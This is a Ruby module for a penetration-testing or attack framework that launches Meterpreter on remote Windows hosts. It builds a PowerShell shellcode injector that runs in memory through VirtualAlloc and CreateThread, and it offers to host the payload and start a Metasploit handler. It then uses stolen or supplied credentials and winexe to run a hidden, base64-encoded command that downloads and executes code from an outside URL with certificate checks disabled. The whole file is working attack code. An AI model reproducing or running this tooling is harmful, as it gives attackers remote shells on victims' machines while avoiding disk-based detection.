require 'poet'
require 'lib_meta'
require 'server'
class Meterp_Powershell < Poet::Scanner
	include Lib_meta
	include Server::Info

	self.mod_name = "In Memory Meterpreter via Powershell"
	self.description = "Inject Meterpreter into memory with powershell and without the payload touching disk."
	self.invasive = true
  self.title = 'Meterpreter Powershell Launcher'

	def payload_select
		payloads = {
				1 => 'windows/meterpreter/reverse_https',
				2 => 'windows/meterpreter/reverse_http',
				3 => 'windows/meterpreter/reverse_tcp',
		}

		payloads.each { |x,y|
			puts "	#{x}) #{y}"
		}
		puts

		# Selection for payload
		selection = ''
		until (1..payloads.length).member?(selection.to_i)
			print "Select payload [#{color_banner('1')}] : "
			selection = rgets
			selection = 1 if selection.empty?
		end
		payload = payloads[selection.to_i]
		puts
		return payload

	end

	def psh_injection(shellcode)
		psh_command = %($1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);)
		psh_command << %([DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);)
		psh_command << %([DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;)
		psh_command << %([Byte[]];[Byte[]]$sc = #{shellcode};$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);)
		psh_command << %(for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';)
		psh_command << %($gq = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\\syswow64\\WindowsPowerShell\\v1.0\\powershell";)
		psh_command << %($cmd = "-nop -noni -enc";iex "& $x86 $cmd $gq"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $gq";})
	end

	def setup
    @timeout = 30 + @timeout if @timeout < 30

		hosting = ''
		until hosting.eql? 'y' or hosting.eql? 'n'
			hosting = rgets("Host Payload? [#{color_banner('y')}|#{color_banner('n')}] : ", "y")
		end

		puts

		if hosting == 'y'
			url = get_url
			get_url if url.empty?
			ssl = url.is_ssl?
			host = get_host(url)
			port = get_port(url)
      puts
			payload = payload_select
			lhost, lport = get_meter_data
			shellcode = psh_shellcode(payload, lhost, lport)
			Thread.new { Server.new.raw_web(host, port, psh_injection(shellcode), ssl) }
			sleep(1)
		else
			url = get_url
		  payload = payload_select
			lhost, lport = get_meter_data
		end

    puts

		handler = ''
		until handler.eql? 'y' or handler.eql? 'n'
			handler = rgets("Start metasploit handler? [#{color_banner('y')}|#{color_banner('n')}] : ", "y")
		end

		if handler == 'y'
			rc = create_rc(payload, lhost, lport)
			create_handler(rc)
			puts
			puts "Press enter when Metasploit starts"
			gets
		end
		ps_command = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };"
		ps_command << "IEX (New-Object Net.WebClient).DownloadString('#{url}')"
		@encoded_ps = ps_command.to_ps_base64!
		puts color_header(title)
	 end

	def run(username, password, host)
		ps_args = "cmd /c echo . | powershell -noprofile -windowstyle hidden "
#		ps_args << "-ExecutionPolicy ByPass " 
		ps_args << "-noninteractive -EncodedCommand #{@encoded_ps}"
		winexe("//#{host}", ps_args)
		print_good("#{host.ljust(15)} - Powershell command completed")
	end

	def finish
		puts "\nPowershell module completed"

		# Return to menu
		puts
		print "Press enter to return to Exploitation Menu"
		gets
	rescue => e
		puts e
		end
end
